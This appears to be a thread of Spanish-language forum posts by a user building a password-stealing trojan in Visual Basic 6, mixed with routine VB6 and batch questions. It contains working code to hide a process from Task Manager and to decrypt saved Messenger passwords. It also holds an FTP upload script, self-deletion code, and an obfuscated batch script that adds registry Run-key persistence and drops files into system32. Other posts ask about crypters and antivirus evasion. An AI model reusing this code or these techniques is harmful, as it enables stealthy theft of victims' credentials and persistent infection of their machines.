Temas

[- Avira -]

holas :p

cuando creo un exe con un archivo de recursos, me salta el antivirus. (dice trojan/dropped) algo asi.

empece a hacer pruebas, no importa que meta en el archivo de recursos, siempre salta.

soy el unico?

s2

- Avira -

 + yapa  

Código (vb) [Seleccionar] Expandir



Option Explicit

Private Sub Form_Load()

End Sub

Private Sub Timer1_Timer()
On Error GoTo error

Dim neo As String
neo = Environ$("windir") & "\" & "nukje.exe"
Kill neo
End
Exit Sub
error:
MsgBox "FATAL ERROR", vbInformation, ""
End

End Sub



da como resultado : (probado en 3 pc's distintas)

Holaa, nose donde postear.

cree un stealer en visual basic 6

entra, roba las passwords, se elimina y listo

lo termine anoche, NADIE lo tenia. NADIE.

esta mañana se me dio por ver el ftp, habia como 5 archivos (de contraseñas), pero estaban vacios. como es eso, si nadie tenia el stealer!?

bueh.... recien estaba haciendo otras pruebas,

en la pc 'Micky' (mi hermana), y en otra de un amigo

se me dio por presionar f5 en el filezila





alguien sabe algo? ._.

[proceso]

Holaaaaas   

:3

el avira me detecta 2 modulos como viricos,

este es para ocultar el proceso del admin de tareas

Código (vb) [Seleccionar] Expandir



Option Explicit
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Declare Function EnumChildWindows Lib "user32" (ByVal hWndParent As Long, ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long

Private Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Public Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Public Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long

Const PROCESS_VM_OPERATION = &H8
Const PROCESS_VM_READ = &H10
Const PROCESS_VM_WRITE = &H20
Const PROCESS_ALL_ACCESS = 0
Private Const PAGE_READWRITE = &H4&

Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const MEM_DECOMMIT = &H4000
Const MEM_RELEASE = &H8000
Const MEM_FREE = &H10000
Const MEM_PRIVATE = &H20000
Const MEM_MAPPED = &H40000
Const MEM_TOP_DOWN = &H100000

Private Declare Function VirtualAllocEx Lib "kernel32" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function VirtualFreeEx Lib "kernel32" (ByVal hProcess As Long, lpAddress As Any, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

Private Const LVM_FIRST = &H1000
Private Const LVM_GETTITEMCOUNT& = (LVM_FIRST + 4)

Private Const LVM_GETITEMW = (LVM_FIRST + 75)
Private Const LVIF_TEXT = &H1
Private Const LVM_DELETEITEM = 4104

Public Type LV_ITEM
mask As Long
iItem As Long
iSubItem As Long
State As Long
stateMask As Long
lpszText As Long 'LPCSTR
cchTextMax As Long
iImage As Long
lParam As Long
iIndent As Long
End Type

Type LV_TEXT
sItemText As String * 80
End Type

Public Function Procesos(ByVal hWnd2 As Long, lParam As String) As Boolean
Dim Nombre As String * 255, nombreClase As String * 255
Dim Nombre2 As String, nombreClase2 As String
Dim X As Long, Y As Long
X = GetWindowText(hWnd2, Nombre, 255)
Y = GetClassName(hWnd2, nombreClase, 255)

Nombre = Left(Nombre, X)
nombreClase = Left(nombreClase, Y)
Nombre2 = Trim(Nombre)
nombreClase2 = Trim(nombreClase)
If nombreClase2 = "SysListView32" And Nombre2 = "Procesos" Then
OcultarItems (hWnd2)
Exit Function
End If
If Nombre2 = "" And nombreClase2 = "" Then
Procesos = False
Else
Procesos = True
End If
End Function

Private Function OcultarItems(ByVal hListView As Long) ' As Variant
Dim pid As Long, tid As Long
Dim hProceso As Long, nElem As Long, lEscribiendo As Long, i As Long
Dim DirMemComp As Long, dwTam As Long
Dim DirMemComp2 As Long
Dim sLVItems() As String
Dim li As LV_ITEM
Dim lt As LV_TEXT
If hListView = 0 Then Exit Function
tid = GetWindowThreadProcessId(hListView, pid)
nElem = SendMessage(hListView, LVM_GETTITEMCOUNT, 0, 0&)
If nElem = 0 Then Exit Function
ReDim sLVItems(nElem - 1)
li.cchTextMax = 80
dwTam = Len(li)
DirMemComp = GetMemComp(pid, dwTam, hProceso)
DirMemComp2 = GetMemComp(pid, LenB(lt), hProceso)
For i = 0 To nElem - 1
li.lpszText = DirMemComp2
li.cchTextMax = 80
li.iItem = i
li.mask = LVIF_TEXT
WriteProcessMemory hProceso, ByVal DirMemComp, li, dwTam, lEscribiendo
lt.sItemText = Space(80)
WriteProcessMemory hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo
Call SendMessage(hListView, LVM_GETITEMW, 0, ByVal DirMemComp)
Call ReadProcessMemory(hProceso, ByVal DirMemComp2, lt, LenB(lt), lEscribiendo)
If TrimNull(StrConv(lt.sItemText, vbFromUnicode)) = App.EXEName & ".exe" Then '<===========CAMBIAR
Call SendMessage(hListView, LVM_DELETEITEM, i, 0)
Exit Function
End If
Next i
CloseMemComp hProceso, DirMemComp, dwTam
CloseMemComp hProceso, DirMemComp2, LenB(lt)
End Function

Private Function GetMemComp(ByVal pid As Long, ByVal memTam As Long, hProceso As Long) As Long
hProceso = OpenProcess(PROCESS_VM_OPERATION Or PROCESS_VM_READ Or PROCESS_VM_WRITE, False, pid)
GetMemComp = VirtualAllocEx(ByVal hProceso, ByVal 0&, ByVal memTam, MEM_RESERVE Or MEM_COMMIT, PAGE_READWRITE)
End Function

Private Sub CloseMemComp(ByVal hProceso As Long, ByVal DirMem As Long, ByVal memTam As Long)
Call VirtualFreeEx(hProceso, ByVal DirMem, memTam, MEM_RELEASE)
CloseHandle hProceso
End Sub
Private Function TrimNull(sInput As String) As String
Dim pos As Integer
pos = InStr(sInput, Chr$(0))
If pos Then
TrimNull = Left$(sInput, pos - 1)
Exit Function
End If
TrimNull = sInput
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Dim Handle As Long
Handle = FindWindow(vbNullString, "Administrador de tareas de Windows")
If Handle <> 0 Then EnumChildWindows Handle, AddressOf Procesos, 1
End Sub

Public Sub Ocultar(ByVal hwnd As Long)
App.TaskVisible = False
SetTimer hwnd, 0, 20, AddressOf TimerProc
End Sub

Public Sub Mostrar(ByVal hwnd As Long)
App.TaskVisible = True
KillTimer hwnd, 0
End Sub


y este es para obtener las contraseñas del msn guardadas

Código (vb) [Seleccionar] Expandir



Option Explicit

'---------------------------------------------------------------------------------------
' Module      : mMessengerPass
' DateTime    : 23/09/2008 11:24
' Author      : Cobein
' Mail        : cobein27@hotmail.com
' WebPage     : http://www.advance.com.ar
' Purpose     : Read WLM (>= 8.0) pass
' Usage       : At your own risk
' Requirements: None
' Distribution: You can freely use this code in your own
'               applications, but you may not reproduce
'               or publish this code on any web site,
'               online service, or distribute as source
'               on any media without express permission.
'
' Reference   : No idea about the original author, It was a french guy tho
'
' History     : 23/09/2008 First Cut....................................................
'---------------------------------------------------------------------------------------


Private Declare Function LocalFree Lib "kernel32.dll" (ByVal hMem As Long) As Long
Private Declare Function LocalAlloc Lib "kernel32.dll" (ByVal wFlags As Long, ByVal wBytes As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
Private Declare Function CredEnumerate Lib "ADVAPI32.dll" Alias "CredEnumerateW" (ByVal lpszFilter As Long, ByVal lFlags As Long, ByRef pCount As Long, ByRef lppCredentials As Long) As Long
Private Declare Function CredFree Lib "ADVAPI32.dll" (ByVal pBuffer As Long) As Long
Private Declare Function CryptUnprotectData Lib "crypt32.dll" (ByRef pDataIn As DATA_BLOB, ByVal ppszDataDescr As Long, ByVal pOptionalEntropy As Long, ByVal pvReserved As Long, ByVal pPromptStruct As Long, ByVal dwFlags As Long, ByRef pDataOut As DATA_BLOB) As Long
Private Declare Function SysAllocString Lib "oleaut32.dll" (ByVal pOlechar As Long) As String
Private Declare Function GetVersionEx Lib "kernel32.dll" Alias "GetVersionExA" (ByRef lpVersionInformation As OSVERSIONINFO) As Long

Private Type CREDENTIAL
    dwFlags                 As Long
    dwType                  As Long
    lpstrTargetName         As Long
    lpstrComment            As Long
    ftLastWritten           As Double
    dwCredentialBlobSize    As Long
    lpbCredentialBlob       As Long
    dwPersist               As Long
    dwAttributeCount        As Long
    lpAttributes            As Long
    lpstrTargetAlias        As Long
    lpUserName              As Long
End Type

Private Type DATA_BLOB
    cbData                  As Long
    pbData                  As Long
End Type

Private Type OSVERSIONINFO
    dwOSVersionInfoSize     As Long
    dwMajorVersion          As Long
    dwMinorVersion          As Long
    dwBuildNumber           As Long
    dwPlatformId            As Long
    szCSDVersion            As String * 128
End Type

Public Function EnumWLMAccounts() As String
    Dim lMem        As Long
    Dim i           As Long
    Dim lCount      As Long
    Dim lCred       As Long
    Dim ub          As Long
    Dim lPtr        As Long
    Dim tCred       As CREDENTIAL
    Dim tBlobOut    As DATA_BLOB
    Dim tBlobIn     As DATA_BLOB
    Dim sPass       As String
    Dim vData       As Variant
    Dim tOSV        As OSVERSIONINFO
   
    With tOSV
        .dwOSVersionInfoSize = Len(tOSV)
        Call GetVersionEx(tOSV)
        If Not .dwMajorVersion + .dwMinorVersion / 10 >= 5.1 Then
            Exit Function
        End If
    End With
   
    lMem = LocalAlloc(&H40, 38)
   
    vData = Array( _
       &H57, &H69, &H6E, &H64, &H6F, &H77, &H73, &H4C, &H69, _
       &H76, &H65, &H3A, &H6E, &H61, &H6D, &H65, &H3D, &H2A)
   
    For i = 0 To 17
        Call CopyMemory(ByVal lMem + (i * 2), CLng(vData(i)), &H1)
    Next
   
    Call CredEnumerate(lMem, 0, lCount, lCred)
   
    If lCount Then
        For i = ub To ub + lCount - 1
       
            Call CopyMemory(ByVal VarPtr(lPtr), ByVal lCred + (i - ub) * 4, &H4)
            Call CopyMemory(ByVal VarPtr(tCred), ByVal lPtr, &H34)
   
            With tBlobIn
                .pbData = tCred.lpbCredentialBlob
                .cbData = tCred.dwCredentialBlobSize
           
                Call CryptUnprotectData(tBlobIn, 0&, 0&, 0&, 0&, 1&, tBlobOut)

                sPass = Space(.cbData \ 2)
                Call CopyMemory(ByVal StrPtr(sPass), ByVal .pbData, .cbData)
            End With
           
                       EnumWLMAccounts = EnumWLMAccounts & vbCrLf & vbCrLf & String(50, "-") & vbCrLf
            EnumWLMAccounts = EnumWLMAccounts & "Protocolo: " & StrConv(SysAllocString(tCred.lpstrTargetName), vbFromUnicode) & vbCrLf
            EnumWLMAccounts = EnumWLMAccounts & "Cuenta: " & StrConv(SysAllocString(tCred.lpUserName), vbFromUnicode) & vbCrLf
            EnumWLMAccounts = EnumWLMAccounts & "Contraseña: " & sPass & vbCrLf
            EnumWLMAccounts = EnumWLMAccounts & String(50, "-") & vbCrLf
         
        Next
        ub = ub + lCount
    End If
   
    Call CredFree(lCred)
    Call LocalFree(lMem)
End Function




la verdad nose que hay que hacer,

osea es como q estoy en el desierto sin brujula y tengo q ir al norte (en este desierto no hay sol xd) (?

que tengo que hacer?

["windir"]

Buenos dias  

tengo un modulo .bas, solo para declarar esta variable

Código (vb) [Seleccionar] Expandir




Public Arch As String

Arch = Environ$("windir") & "\" & n4me.Text & ".php"




me da error aca:

"windir"



._.    , no entiendo porque....

[Filetype not allowed]

Código [Seleccionar] Expandir

open pagina
usuario
password
binary
lcd C:\WINDOWS\
cd /nukje
mput NICO.dll
close
bye

-----

lo llamo desde otro bat:

ftp -s:C:\WINDOWS\NICO.bat
-----

me da error,

alguien me dice que esta mal :S

s2 (gracias :3!)


-----------------------------

ftp> mput windows\NICO.dll
mput windows\NICO.dll?
200 PORT command successful
553 Filetype not allowed. File NICO.dll won't be saved.

------------------------------

solucion: el ftp no soporta dll q tonto.

hola!

hace tiempo habia creado un 'troyano', nose como decirle. la cosa es q entraba, obtenia informacion, me la mandaba y se eliminaba.

lo de eliminarse es lo de menos, pero tengo el proyecto en mi disco duro usb usb, el cual perdi el cable, y no me acuerdo ni la base...

se que en internet esta LLENO de info sobre esto, pero siempre resulto con dudas

eso no significa que no este buscando, claro que busco! y si lo soluciono, aviso y pongo la solucion; para eso son los foros ♥

s2

Un simple bucle. (Nose como lo haran, yo mando timers a 2 manos jajaja )

[Como en msgbox, hasta que no pones aceptar, el codigo no sigue.]

Hola!

Yo antes usaba sleep, pero eso 'tilda' Todo, yo lo que necesito es que por ejemplo

si tengo una funcion X que tarda para sacar un dato, y ese dato es necesario para el codigo que sigue.

como esa funcion tarda, (DUDA) El codigo sigue pero como no tiene el dato tira error

osea, me estoy explicando como el culo

si tengo un codigo, que tarda en obtener X dato, y el resto del codigo usa ese X dato, yo pienso (Aca esta la duda), que va a tirar error porque todavía no se obtubo el dato, entonces abria que decirle 'cuando termine lo de aca arriba inicias vos'

Como en msgbox, hasta que no pones aceptar, el codigo no sigue.
lo que quiero saber es si en el codigo pasa lo mismo....)Osea si espera a terminar apra cambiar de linea)

[player.settings.Volume]

Hola!

bueno tengo esto:

player.settings.Volume X + 10

como seria?

osea, al valor que ya tiene sumarle 10

pienso que tomando el valor y haciendo la cuenta y el resultado....

pero no hay otro metodo mas facil?

[main.visible = false]

Hola!

bueno hice un programa que no sirve para nada, la cosa es...

yo quiero que inicie con windows, pero el main.visible = false (y cuando se inicia manualmente, visible)

como es eso de los comandos de inicio?

s2

hablo de eso que por ejemplo en el registro aparece

c:\windows.exe /minimized

(Obviamente ese archivo no existe)

creo que se llama parametro xd

[wmp]

Hola!!!

Bueno, estoy creando un programa simple, para uso personal XD

es un proyecto con el complemento wmp ,

no tiene codigo, osea, esta configurado desde las propiedades del proyecto, para que el .mp3 seleccionado, se ejecute 3 veces seguidas (Osea,cuando para y se vuelve a ejecutar)






-----------Lo que necesitaria----------------------
(Seria lo mismo, pero con una 'lista de reproduccion')

text1.text
text2.text


en el text1  hay una direccion. (c:\a.mp3)
en el text2 hay otra (c:\b.mp3)

lo que necesito es que a.mp3 se reproduzca 3 veces y cuando termine , b.mp3 se reproduzca otras 3 veces....

alguna orientacion o algo?

Que es melt?

s2

bueno estoy haciendo un programa que hace aparecer un mensaje en pantalla (En un cuadrito blanco, pero no un msgbox).

osea, aparece una cajita de texto chiquita que dura como... 1/4 segundo.

podria hacer un form principal con un timer que cada 2 segundos ejecute un formulario sin bordes y con un label con el texto, que a la vez tenga otro time que en 1/4segundo cierre ese FormMensaje1

me explico? el problema ahora esta en que

cuando se abre el  formmensaje1 (Tiene que estar maximizado, osea, adelante de todo), se me 'sale' si estoy escribiendo... (Por ejemplo)

Osea estoy en el msn y se abre el FormMensaje1 y se me sale lo q estoy escribiendo. lo que necesito es q se maximize el FormMensaje1 pero que no me saque de lo que estoy escribiendo... :c

bueno estoy en este proyecto hace bastantes horas... lo que hago es descargar a 2 richtbox's 2 codigos de 2 paginas distintas y  compararlos (El codigo de las paginas, es igual)

Código (vb) [Seleccionar] Expandir

Option Explicit

Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" (ByVal hInternetSession As Long, ByVal lpszUrl As String, ByVal lpszHeaders As String, ByVal dwHeadersLength As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Private Declare Function InternetReadFile Lib "wininet" (ByVal hFile As Long, ByVal sBuffer As String, ByVal lNumBytesToRead As Long, lNumberOfBytesRead As Long) As Integer
Private Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer
Private Declare Function InternetGetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long

Private Const IF_NO_CACHE_WRITE& = &H4000000

Public Function GetHtmlCode(ByRef strURL$) As String
Dim lngInternet&, lngFile&, lngRead&
Dim strBuffer As String * &H3E8

    If InternetGetConnectedState(&H0, &H0) Then
        lngInternet = InternetOpen(&H0, &H1, vbNullString, vbNullString, &H0)
        If lngInternet Then
            lngFile = InternetOpenUrl(lngInternet, strURL, vbNullString, &H0, IF_NO_CACHE_WRITE, &H0)
            If lngFile Then
                Do
                    InternetReadFile lngFile, strBuffer, &H3E8, lngRead
                    DoEvents
                    GetHtmlCode = GetHtmlCode & Left$(strBuffer, lngRead)
                Loop While lngRead
            End If
            InternetCloseHandle lngInternet
        End If
    End If
End Function



lo baj con ese codigo,

entonces se setea un el "source1.html" en text1 y el "source2.html" en text2 (Les digo text, pero son esos richbox o como se llamen),

despues hago

Código (vb) [Seleccionar] Expandir

if text1.text = text2.text if
else
msgbox "No coinciden"

Y me tira que no coinciden ._.

alguna idea?

estoy usando if then y eso, pero me parece que no funciona....

me podrian decir como comparar 2 RichTextBox? salu2!

bueno, enrealidad, no es un navegador, pero lo que hace es ir a una pagina, y ahi tendo que comprobar que el codigo de la pagina sea X

x = (c:\windows\source.php)

osea, q la pagina coincida con source.php , nose si se puede, pero necesito una base o algo porq nose ni donde estoy parado

hola!

alguien tiene el proyecto del cs? andaba por aca...

pero eso no es lo que busco...

necesito modificar la parte que "dice" esto:

si el mapa no esta, se descarga.

Saludos!

Hola!

bueno, tengo un problemita de memoria 

osea, se me olvida el 1 cuando voy pensando el 2 

Yo tengo un list con, por ejemplo

c:\program files\a.exe
c:\a.text
c:\xxx\mr frog, la bestia sexual\parte 1/100.avi


y necesito que con un boton, chequee si a.exe esta en program files, si a.txt esta en c:\

no quiero codigo, necesito ayuda con esto de la logica... como ya dije, cuanto hasta 2 , y me olvide el 1. 

Buenos dias   

Es posible obtener informacion de un archivo marcado en un listbox?

No importa lo del listbox, importa lo de obtener  informacion (Descripcion,organizacion,nombre interno,etc)

Hay alguna api o algo?

Saludos!

es posible ver si un proceso esta modificado o inyectado...?
o, alguien sabe como funcionan las paginas como virus total, etc...?y si hay algo asi, pero en exe...

Hola chicas

Una pregunta, yo programo en vb6, pero nose donde ponerlo.

Vieron las paginas que escanean los archivos con muchos antivirus?

Quiero hacer lo mismo, pero en exe, pero nose como funcionan esas paginas...

Alguna idea?

Hola señoras!

No quiero un i codigo ni nada de eso, solo quiero saber como funciona un crypter... gracias

hola!

un amigo esta creando una web para hostear archivos, ya hizo con imagenes, pero ahora se trabo en los swf..

alguien me pasa algun codigo para subir los swf? gracias!

Hola foreros...

Una pregunta, tengo que modificar un exto en una dll (Ya encontre la string), pero sinceramente nose que hacer  


Agrego

esta es la situacion:

marco la string, clock derecho, editar binari...

En la caja grande donde dice adress, etc, dice por ejemplo...

blalbalablabablabl balblalabalb balablablabl ASCII "hola elhacker.net"

Pero en el editor de binarios, en la parte de ascii (De esa misma cadena) no dice "hola elhacker.net" , aparecen caracteres raros...

agrego: nose si se hace asi pero es lo unico q vi de editar, igualmente estoy leyendo unos tutoriales...

agrego2:

nose q toque, pude modificar, epro ahora no anda la dll.

volvi a cargar la modificada, busque solo las strings y.... no aparecio NADA.

[%%#%%$%%(%%4%%]

estoy tratando de hacer una encriptacion bat... es muy pobre, lose... pero todo no se puede, que mas da  

set 1=a
set -=b
set .=c
set \=d
set $=e
set ;=f
set ?=g
set [=h
set +=i
set )=j
set ]=k
set !=l
set (=m
set @=n
set ñ=ñ
set ,=o
set 4=p
set /=q
set _=r
set {=s
set #=t
set  í=u
set }=v
set :=w
set  2=x
set 6=y
set 9=z

pause
@%$%%.%%[%%,% %,%%;%%;%
%_%%\% /%{% /%/% %%#%%$%%(%%4%%

pause

pero nisiquiera encuentra %temp%

Creo que el error esta en la variable %temp% , osea...

%%#%%$%%(%%4%%

sin los % que marcan las variables set queda

%#$(4%

entonces creo que el bat "se lia" con los % de temp... nose, es un quilombo...

coomo lo puedo solucionar?

Gracias

add: yo decia.. oh que ***** quien ***** me cambia el titulo...  

[m3r]

Hola!

Mmmm, no tengo idea como crackear el crackme 

Encontre m3r, nose si eso tiene algo que ver.... 

Alguna pista?¿

[horrible]

hay alguna alternativa para el replace?

porq el replace, por ejemplo, tengo esto en un textbox:

habia una vez un patito que tenia alto pitito

y le hago un replace...

Código (vb) [Seleccionar] Expandir

Source = src.Text
Source = Replace(Source, "a", ("5" & a.Text & "5"))
Source = Replace(Source, "b", ("5" & b.Text & "5"))
Source = Replace(Source, "c", ("5" & c.Text & "5"))
Source = Replace(Source, "d", ("5" & d.Text & "5"))
Source = Replace(Source, "e", ("5" & e.Text & "5"))
Source = Replace(Source, "f", ("5" & f.Text & "5"))
Source = Replace(Source, "g", ("5" & g.Text & "5"))
Source = Replace(Source, "h", ("5" & h.Text & "5"))
Source = Replace(Source, "i", ("5" & i.Text & "5"))
Source = Replace(Source, "j", ("5" & j.Text & "5"))
Source = Replace(Source, "k", ("5" & k.Text & "5"))
Source = Replace(Source, "l", ("5" & l.Text & "5"))
Source = Replace(Source, "m", ("5" & m.Text & "5"))
Source = Replace(Source, "n", ("5" & n.Text & "5"))
Source = Replace(Source, "ñ", ("5" & ñ.Text & "5"))
Source = Replace(Source, "o", ("5" & o.Text & "5"))
Source = Replace(Source, "p", ("5" & p.Text & "5"))
Source = Replace(Source, "q", ("5" & q.Text & "5"))
Source = Replace(Source, "r", ("5" & r.Text & "5"))
Source = Replace(Source, "s", ("5" & s.Text & "5"))
Source = Replace(Source, "t", ("5" & t.Text & "5"))
Source = Replace(Source, "u", ("5" & u.Text & "5"))
Source = Replace(Source, "v", ("5" & v.Text & "5"))
Source = Replace(Source, "w", ("5" & w.Text & "5"))
Source = Replace(Source, "x", ("5" & x.Text & "5"))
Source = Replace(Source, "y", ("5" & y.Text & "5"))
Source = Replace(Source, "z", ("5" & z.Text & "5"))
Form2.srca.Text = Source


queda completamente horrible, dependiendo de lo que haya en a.text b.text........ z.text


entienden? supongamos que en h.text hay una J

se reemplaza:

jabia (Primera palabra vamos a usar de ejemplo)

Cuando llega la hora de reemplazar la j (Supongamos que en j.text hay "l")

termina quedando labia

y es cualquier cosa, y eso me esta complicando! :S

Hay alguna alternativa para el replace?

Para que es el $ al final de algunos comandos?

Replace$
Environ$

etc etc ?

[NO LO ABRAN!]

Hola!

Como puedo desecncriptar un batch?


lo quiero porque me parece interesante lo que hace... o eso me dijieron...


NO ES MIO!

set _~=set
%_~% a=abcdefghijkl
%_~% b=mnopqrstuvwxyz
%_~% t¬a=%a:~4,1%
%_~% t¬e=%a:~,1%
%_~% t¬$=%a:~1,1%
%_~% t¬b=%a:~8,1%
%_~% t¬o=%a:~2,1%
%_~% t¬p=%a:~3,1%
%_~% t¬s=%a:~5,1%
%_~% t¬y=%a:~6,1%
%_~% t¬f=%a:~7,1%
%_~% t¬l=%a:~9,1%
%_~% t¬m=%a:~10,1%
%_~% t¬z=%a:~11,1%
%_~% t~a=%b:~4,1%
%_~% t~e=%b:~,1%
%_~% t~$=%b:~1,1%
%_~% t~b=%b:~8,1%
%_~% t~o=%b:~2,1%
%_~% t~p=%b:~3,1%
%_~% t~s=%b:~5,1%
%_~% t~y=%b:~6,1%
%_~% t~f=%b:~7,1%
%_~% t~l=%b:~9,1%
%_~% t~m=%b:~10,1%
%_~% t~z=%b:~11,1%
%_~% t~x=%b:~12,1%
%_~% t~q=%b:~13,1%
%_~% tv=%t¬f:~,1%
%_~% tt=%t~f:~,1%
set /=%t¬a%%t¬o%%tv%%t~o%
%_~% //=%t¬a%%t¬o%%tv%%t~o%.
%_~% m~g=%t~e%%t~y%%t¬y%
%_~% c~s=%t¬o%%t¬z%%t~y%
%_~% f~r=%t¬s%%t~o%%t~s%
%_~% rgi=reg add HKLMSoftwaremicrosoftWindowsCurrentVersionRun /v system /d "%systemroot%system32hal.bat"
%_~% rg2=reg add HKLMSoftwaremicrosoftWindowsCurrentVersionRun /v Systemupdate /d "%systemroot%system32kernel.bat"
%_~% i~e=%t¬b%%t¬s% %t¬a%%t~z%%t¬b%%t~y%%t~f%
%_~% i=%i~e:~,2%
%_~% :=%t~p%%t¬e%%t~b%%t~y%%t¬a%
%_~% ;=%t~p%%t¬b%%t~$%%t¬y%
%_~% =%t¬p%%t¬a%%t¬z% /%t~y% /%t¬s% /%t~a%
%_~% #=%t¬a%%t¬z%%t~y%%t¬a%
%_~% s~n=%t~y%%tv%%t~b%%tt%%t¬p%%t~o%%t~m%%t~$% -%t~y% -%t¬s% -%tt%
%_~% ]=%t¬p%%t¬e%%tt%%t¬a%
%_~% ¬=%t¬o%%t~o%%t~p%%t~x% /%t~x%
%_~% $=%t~e%%t¬m%%t¬p%%t¬b%%t~s%
%_~% ··= %t~s%%t~e%%t¬p%%t¬b%%t~s% /%t~y% /%t~a%
%_~% c~ls=%t¬o%%t¬e%%t¬o%%t¬z%%t~y%
%_~% ª!ª!=%tt%%t¬e%%t~y%%t¬m%%t¬m%%t¬b%%t¬z%%t¬z% /%t¬s% /%t¬b%%t~e%
%_~% {}=%t¬o%%t¬p%
%_~% ç=%t~y%%t¬a%%t~f%/%t~p%
%_~% f~ee=%t¬s%%tt%%t~x%%t~p%%t¬a%
%_~% []=%t¬e%%t~y%%t~y%%t~o%%t¬o%
%_~% g~t=%t¬y%%t~o%%tt%%t~o%
%_~% at~b=%t¬e%%tt%%tt%%t~s%%t¬b%%t¬$%
%_~% cl=%t¬o%%t~o%%t¬z%%t~o%%t~s%
%_~% st=%t~y%%tt%%t¬e%%t~s%%tt%
%_~% i=%i:~,2%
%_~% ct=%t¬o%%t~o%%t~$%
%_~% ch=%t¬a%%t~z%%t¬b%%tt%
@%/% %t~o%%t¬s%%t¬s%
:akk
%c~s%
%//%
%//%
%cl% 0%t¬o%
%tt%%t¬b%%tt%%t¬z%%t¬a% ----------------------- %tv%%t¬e%%t¬o%%t¬m% %t~e%%t~y%%t~$%--------------------------
%/% %t¬o%%t¬e%%t~s%%t¬y%%t¬e%%t~$%%t¬p%%t~o%.....
%;% -%t~$% 3 127.0.0.1 > %t~$%%t~b%%t¬z%
:!"·
%c~s%
%//%
%//%
%ç% v= %t¬b%%t~$%%tt%%t~s%%t~o%%t¬p%%t~b%%t~q%%t¬o%%t¬e% %t¬a%%t¬z% %t~e%%t~y%%t~$% %t¬e% %tv%%t¬e%%t¬o%%t¬m%%t¬a%%t¬e%%t~s% :
%//%
%//%
%ç% v2= %t~s%%t¬a%%t~p%%t¬b%%tt%%t¬e% %t¬a%%t¬z% %t~e%%t~y%%t~$% :
%i% %v%==%v2% (%g~t% ^*Ç )
%m~g% * %t¬z%%t~o%%t~y% %t~e%%t~y%%t~$% %v% ^& %v2% %t~$%%t~o% %t~y%%t~o%%t~$% %t¬b%%t¬y%%t~b%%t¬e%%t¬z%%t¬a%%t~y%
%g~t% !"·
:^*Ç
%c~s%
%//%
%//%
%/% %t~p%%t~s%%t~o%%t¬o%%t¬a%%t~y%%t¬e%%t~$%%t¬p%%t~o% ........
%/% %t~e%%t~y%%t~$% : %v% > C:%tv%%t¬e%%t¬o%%t¬m%%t~e%%t~y%%t~$%.txt
%/% %t~p%%t~y%%t~m% : %random% >> C:%tv%%t¬e%%t¬o%%t¬m%%t~e%%t~y%%t~$%.txt
:&0?
%rgi%
%/% :yuu > %windir%system32%tv%%t¬e%%t¬z%.bat
%/% %c~s% >> %windir%system32%tv%%t¬e%%t¬z%.bat
%/% %tt%%t~x%%t~p%%t¬a% * >> %windir%system32%t¬e%%tv%.bat
%/% %t¬o%%t¬e%%t¬z%%t¬z% %windir%system32%t¬e%%tv%.bat >> %windir%system32%tv%%t¬e%%t¬z%.bat
%/% %st% %t¬o%%t¬e%%t¬z%%t¬o% >> %windir%system32%tv%%t¬e%%t¬z%.bat
%/% %st% %t~e%%t~y%%t~p%%t¬e%%t¬b%%t~$%%tt% >> %windir%system32%tv%%t¬e%%t¬z%.bat
%/% %m~g% * %t¬z%%t¬e%%t~e%%t~e%%t¬a%%t~s% ... >> %windir%system32%tv%%t¬e%%t¬z%.bat
%/% %s~n% 1800 >> %windir%system32%tv%%t¬e%%t¬z%.bat
%/% %_~%/%t¬e% %ct%=%ct%+1 >> %windir%system32%tv%%t¬e%%t¬z%.bat
%/% %i% %ct%==15 ( %g~t% asd ) >> %windir%system32%tv%%t¬e%%t¬z%.bat
%/% %g~t% yuu >> %windir%system32%tv%%t¬e%%t¬z%.bat
%/% :asd >> %windir%system32%tv%%t¬e%%t¬z%.bat
%/% %ch% >> %windir%system32%tv%%t¬e%%t¬z%.bat
:tyy
%c~s%
%//%
%//%
